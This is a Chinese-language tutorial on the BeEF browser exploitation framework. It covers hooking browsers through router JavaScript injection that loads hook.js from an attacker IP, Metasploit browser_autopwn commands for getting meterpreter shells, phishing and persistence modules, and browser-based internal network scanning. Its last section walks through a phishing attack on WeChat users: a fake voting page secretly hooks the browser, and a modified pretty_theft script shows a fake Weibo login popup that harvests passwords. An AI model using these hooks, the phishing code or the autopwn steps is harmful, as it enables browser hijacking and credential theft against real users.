瀏覽器利用框架BeEF測試
0x00 前言
BeEF,全稱The Browser Exploitation Framework,是一款針對瀏覽器的滲透測試工具。 目前對其測試的文章不是很多,所以希望透過本次測試給大家帶來全新的認識。
0x01 簡介
工具框架:
0x02 測試環境
攻擊主機:
作業系統:Kali 1.0
IP:192.168.16.245
測試主機:
作業系統:Win7x86
IP:192.168.16.197
路由器:
WooyunWifi
開啟JS注入功能
Tips:
WooyunWifi開啟JS注入功能後會對使用者訪問的頁面加入JS程式碼,如果JS程式碼設定成如下格式,那麼執行後會在BeEF控制端返回一個shell
document.write("<script language='javascript' src='http://192.168.16.245:3000/hook.js'></script>");
預設情況下JS注入附帶快取投毒功能,將檢視快取所有的頁面至2099年,但可以透過清除所有快取及瀏覽資料來清除快取投毒的影響。
0x03 BeEF引數配置
BeEF在Kali下預設安裝,直接找到對應圖示啟動即可,但是預設設定未同Metasploit關聯,無法使用msf模組,因此需要作如下配置連線msf
1、修改config.yaml
編輯
/usr/share/beef-xss/config.yaml
metasploit:
enable: false改為true
編輯
/usr/share/beef-xss/extensions/demos/config.yaml
enable:true改為false
編輯
/usr/share/beef-xss/extensions/metasploit/config.yaml
設定
ssl: true
ssl_version: 'TLSv1'
2、啟動msf服務
service postgresql start
service metasploit start
msfconsole
load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y
3、執行BeEF.rb
cd /usr/share/beef-xss/
/usr/share/beef-xss/beef
(啟動後不要關閉,不然登入介面會提示密碼錯誤)
4、啟動BeEF
彈出瀏覽器,輸入預設使用者名稱口令beef,即可登陸
主介面如圖
0x04 功能介紹
對基本功能做全面介紹,高階用法以後會做補充
1-資訊收集
1、瀏覽器資訊 可收集:
瀏覽器名稱版本
瀏覽器使用者版本
外掛(包括Java,ActiveX,VBS,Flash……)
視窗大小
收集方法:
(1)自動預設收集資訊
如圖
(2)外掛收集資訊
如圖
Tips:
模組圖示不同顏色對應不同的使用效果
綠色:適用當前瀏覽器
橙色:適用當前瀏覽器,但易被使用者發現,social engineering模組預設為橙色
紅色:不適於當前瀏覽器,但仍可嘗試
2、系統資訊
可收集:
安裝的軟體(適用於IE下,Detect Software模組)
登錄檔鍵值(適用於IE下,此時會彈出提示訊息)
內網IP(Java模組得到授權)
系統詳情(透過JavaApplet獲取系統版本、Java VM details、NIC names and IP、處理器、記憶體、螢幕顯示模式)
定位(透過Google maps)
剪貼簿資訊(會彈出提示訊息)
如圖
3、使用者行為
可收集:
使用者是否訪問過某URL、domain
是否登入特定網站賬號
是否使用TOR
如圖
2-社會工程
如果使用BeEF控制了瀏覽器,那麼就可以修改整個頁面來嘗試社會工程學
1、提交登入資訊
簡單粗暴往往是最有效的
Pretty Theft模組:
在網頁彈出誘騙訊息需要使用者輸入登入和密碼,並解釋該會話已超時
選擇的登入框模板,如圖
配置後使用者瀏覽器介面,如圖
當使用者輸入資訊後,自動獲取,如圖
Simple Hijacker模組:
劫持網頁上面的所有連結,當使用者點選任意連結時彈出誘騙訊息,如果使用者接著點選會跳轉到指定域名
如圖
Clippy模組:
建立一個瀏覽器助手提示使用者點選
如圖
2、重定向
Rediret Browser模組:
將當前頁面重定向至指定頁面,有可能導致當前許可權丟失
Rediret Browser(iframe)模組:
將當前頁面重定向至指定頁面,,同時保留當前連線,可以維持當前瀏覽器許可權
如圖
TabNabbing模組:
當檢測使用者不在當前頁面時啟動定時器,倒數計時結束後自動重定向至指定頁面
如圖
3、Chrome/Firefox extensions
Fake Flash Update模組:
提示使用者安裝Adobe Flash Player的更新,使用者點選後會下載指定檔案
如圖
Chrome Extensions 系列:
值得嘗試
4、補充
Clickjacking模組:
可以使用multi-click clickjacking,判斷當前使用者滑鼠位置,在不同位置可觸發不同JS程式碼
如圖,滑鼠後面跟隨一個iframe
3-網路掃描
透過JavaScript,可以嘗試利用瀏覽器掃描內網
1、獲取內網IP
Get Internal IP WebRTC模組:
透過WebRTC獲取內網IP
Get Internal IP模組:
透過Java Socket class獲取內網IP
2、識別區域網子網
識別內網閘道器,如圖
3、識別HTTP Servers
識別內網web servers
4、ping操作
呼叫ping命令掃描內網
Ping Sweep模組 Ping Sweep (Java)模組
如圖
5、跨域掃描
6、DNS列舉
如圖
7、埠掃描
Port Scanner模組
如圖
8、網路指紋特徵掃描
用來掃描內網中的Web伺服器和網路裝置
Fingerprint Network模組
如圖
9、Remote CSRFs
10、IRC NAT Pinning
模擬瀏覽器的IRC通訊,可用來繞過防火牆
11、網路拓撲
BeEF可根據掃描獲得的資訊繪製內網網路拓撲 如圖
此部分會在以後詳細介紹
4-結合Metasploit
1、Metasploit系列模組
如圖
2、Browser Autopwn
反彈回meterpreter
方法:
(1)使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL
use auxiliary/server/browser_autopwn
show options
set LHOST 192.168.16.245
set SRVHOST 192.168.16.245
set SRVPORT 8881
run -z
生成一個連結,如圖
(2)使用"Create Invisible Iframe"模組載入autopwn頁面
如圖
(3)等待彈回shell
sessions -l
5-Tunneling
代理功能
方法:
1、選擇控制的瀏覽器
如圖
2、瀏覽器代理設定
HTTP Proxy:127.0.0.1
Port:6789
如圖
細節以後補充
3、訪問同樣網站,檢視本機瀏覽器頁面同被控瀏覽器頁面內容是否相同(即不需要cookie可實現登入賬號)
6-XSS
如圖
細節以後補充
7-維持許可權
1、Create Pop Under模組
建立一個新視窗,如圖
反彈一個新許可權,如圖
2、Confirm Close Tab模組
當使用者關閉當前頁面時,反覆彈出確認是否關閉頁面的訊息
3、Create Foreground iFrame模組 修改當前頁面所有連結來避免離開當前頁面
比如使用者點選某個連線,會將新頁面顯示在當前頁面上面,注意的是網址不會傳送改變,如圖:
正常訪問的頁面為:(注意看位址列)
4、Man In The Browser模組
可攔截修改頁面內所有連結,當使用者點選當前頁面的任意連結後仍可維持許可權(必須是同源的頁面)
如果使用者手動更改URL位址列,無法維持許可權
0x05 小結
本文僅對BeEF的基本功能做了全面介紹,更多高階技巧很值得研究,例如利用BeEF內網滲透,利用代理不透過cookie登陸賬戶突破IP限制繫結等等。
測試過程難免會有疏忽遺漏,理解錯誤的地方歡迎指正,共同進步。
本文由三好學生原創並首發於烏雲drops,轉載請註明
0x06 補充
對手機平臺的微信使用BeEF進行模擬測試
手機系統:
Android
1、上線方法:
1、掃描二維碼
掃描後在BeEF控制端看到手機上線,如圖
對此頁面進行Google Phishing欺騙,如圖
注:
在微信上面特別的地方在於此處無法看到包含的真實URL地址
2、朋友圈分享
將BeEF的上線地址做一下簡單的偽裝並分享到朋友圈,如圖
在朋友圈中同樣無法看到包含的真實URL地址,開啟即為BeEF的hook頁面,如圖
3、朋友發來的連結
將此訊息直接發給朋友,如圖
我們可以看到偽造前的URL地址
注:
BeEF的hook頁面可以自定義成更具欺騙性的內容,這是為了演示方便使用預設介面
2、微信瀏覽器被Hook後可以做哪些操作
也許有人會提出疑問:手機開啟網址持續的時間很短,關閉當前頁面後BeEF的shell就會下線
解決方法:
使用BeEF API,使用者上線後能夠自動執行批次命令,結合Persistence模組能夠極大提高shell存活時間
除了與windows系統相關的資訊無法獲取,其他操作均能成功執行,並且BeEF為手機劫持提供了專門的模組系列——Phonegap,如圖
以下是經測試可以在Android上使用的模組:
1、彈框
2、重定向
3、檢視是否訪問過某些網站
4、Creates an invisible iframe
5、Social Engineering系列,如下圖,僅作演示
6、msf系列
7、NetWork系列,可以用來掃描同一內網下的windows主機
注:
載入hook頁面後,將手機螢幕關閉處於待機狀態,BeEF仍然可以執行指令,或許這與手機系統相關,值得以後深入測試。
0x07 利用朋友圈投票社工微博帳號例項
1、偽造BeEF的hook頁面
1、尋找模板
隨機找到一個投票的頁面,儲存為html
http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd
2、替換hook頁面
在use/share/beef-xss/extensions/demos/html
目錄下,將上述html檔案命名為basic.html並新增以下程式碼
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js"
type="text/javascript"><\/script>';
document.write(commandModuleStr);
如圖
上線頁面已被修改
2、修改BeEFsocial_engineering模組
修改彈出對話方塊樣式
將此檔案use/share/beef-xss/modules/social_engineering/pretty_theft/command.js內容 對應部分替換如下:
// Facebook floating div
function facebook() {
sneakydiv = document.createElement('div');
sneakydiv.setAttribute('id', 'popup');
sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:2%; z-index:51; background-
color:ffffff;');
document.body.appendChild(sneakydiv);
// Set appearance using styles, maybe cleaner way to do this with CSS block?
var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-
radius:8px"';
var windowmain = 'style="border:1px #555 solid;"';
var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(255, 102, 0);font-size:
13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align:
left;height: 18px;"';
var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding:
8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-
serif;margin:10px 15px;line-height:12px;height:40px;"';
var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family:
tahoma,verdana,arial,sans-serif;padding-left:30px;"';
var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-
left:4px;border-style: solid;border-width: 1px;border-color: rgb(255,102,0);"';
var buttonstyle = 'style="font-size: 13px;background:#ff6600;color:#fff;font-weight:bold;border:
1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
var title = '微博手機版安全登入';
var messagewords = '請輸入您的使用者名稱密碼登入後進行投票。<br/><br/>我們將對您的投票資訊嚴格保密。';
var buttonLabel = '<input type="button" name="ok" value="登入" id="ok" ' +buttonstyle+ '
onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'"
onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
// Build page including styles
sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" '
+windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' +
messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>郵箱/會員帳號/手機號:
</div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13)
document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div
id="box_pre" ' +box_prestyle+ '>密碼: </div></td><td align="left"><input type="password" id="pass" name="pass"
onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+
'/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden"
id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
// Repeatedly check if button has been pressed
credgrabber = setInterval(checker,1000);
}
3、實際操作
1、微信朋友圈釋出投票訊息,如圖
使用者點選後會開啟我們偽造的投票頁面,同時隱蔽載入hook.js,在BeEF端上線
2、在使用者手機彈出模擬微博登入的對話方塊
如圖執行Pretty Theft模組
使用者手機介面如圖,彈出對話方塊提示輸入登入訊息
BeEF控制端返回使用者輸入訊息,如圖
3、使用者提交後重定向至另一頁面
BeEF控制端使用Redirect Browser(iFrame)模組,如圖
使用者手機介面如圖
至此,透過朋友圈投票獲得微博帳號成功實現。
相關文章
- 跨瀏覽器測試需要面臨哪些挑戰?跨瀏覽器測試工具分享2022-10-18瀏覽器
- 為什麼跨瀏覽器測試很重要?7款跨瀏覽器測試工具請查收!2022-05-09瀏覽器
- Mocha瀏覽器測試入門教程2018-05-24瀏覽器
- 前端面試瀏覽器系列:瀏覽器快取2019-04-24前端面試瀏覽器快取
- 瀏覽器fuzz框架介紹2020-08-19瀏覽器框架
- 滲透測試用的瀏覽器外掛2024-10-12瀏覽器
- 如何在瀏覽器中測試JavaScript程式碼?2023-04-12瀏覽器JavaScript
- 谷歌瀏覽器測試移動端網頁2019-06-14谷歌瀏覽器網頁
- 測試案例,Python +Selenium啟動不同瀏覽器2018-07-30Python瀏覽器
- 幾款瀏覽器相容性測試工具2018-03-05瀏覽器
- 【軟體測試】你最常用的web測試-瀏覽器相容性測試2020-09-24Web瀏覽器
- 教你用Chrome 瀏覽器+Postman搞定介面測試2024-03-27Chrome瀏覽器Postman
- SSH三大框架使用谷歌瀏覽器上傳檔案瀏覽器崩潰2018-09-05框架谷歌瀏覽器
- 怎麼檢測瀏覽器劫持,瀏覽器劫持的方法介紹2020-11-23瀏覽器
- 5分鐘上手瀏覽器外掛測試——Eolink Apikit2023-12-20瀏覽器API
- 滲透測試服務之瀏覽器攻擊分析2021-02-10瀏覽器
- 【瀏覽器】瀏覽器基本工作原理2021-04-30瀏覽器
- 利用nginx設定瀏覽器協商快取2019-06-21Nginx瀏覽器快取
- 谷歌Chrome瀏覽器正測試ECH隱私保護功能2022-11-26谷歌Chrome瀏覽器
- Sentry 開發者貢獻指南 - 瀏覽器 SDK 整合測試2022-01-20瀏覽器
- Opera使用內建加密錢包測試移動瀏覽器2018-07-12加密瀏覽器
- 自動化測試系列(2)—— 下載瀏覽器驅動2018-08-02瀏覽器
- Chrome 瀏覽器修改 UA 模擬其它瀏覽器,包括移動瀏覽器2021-09-09Chrome瀏覽器
- 瀏覽器2024-11-15瀏覽器
- 常見瀏覽器終端檢測2019-01-11瀏覽器
- 利用 Powershell 編寫簡單的瀏覽器指令碼2020-06-13瀏覽器指令碼
- 如何利用 Chrome 瀏覽器實現滾動截圖2018-05-21Chrome瀏覽器
- 超好用的瀏覽器相容性測試工具,趕緊收藏!2023-03-30瀏覽器
- 十款好用跨瀏覽器測試工具分享,好物值得收藏!!!2022-06-09瀏覽器
- 滲透測試和CTF Web中常用的瀏覽器外掛2020-12-07Web瀏覽器
- 使用karma和jasmine配合phantom瀏覽器進行單元測試2019-03-21ASM瀏覽器
- 基石-初見瀏覽器(一):瀏覽器渲染2019-12-08瀏覽器
- Min瀏覽器: 更快更輕量瀏覽器2018-11-04瀏覽器
- just-validate瀏覽器端驗證框架示例2024-07-31瀏覽器框架
- microsoft edge是ie瀏覽器嗎 edge瀏覽器和ie瀏覽器一樣嗎2022-10-11ROS瀏覽器
- 十分好用的跨瀏覽器測試工具,建議收藏!!!2023-01-12瀏覽器
- Playwright安裝與Python整合:探索跨瀏覽器測試的奇妙世界2024-05-12Python瀏覽器
- 測試開發之前端篇-瀏覽器開發者工具使用(TODO)2021-10-15前端瀏覽器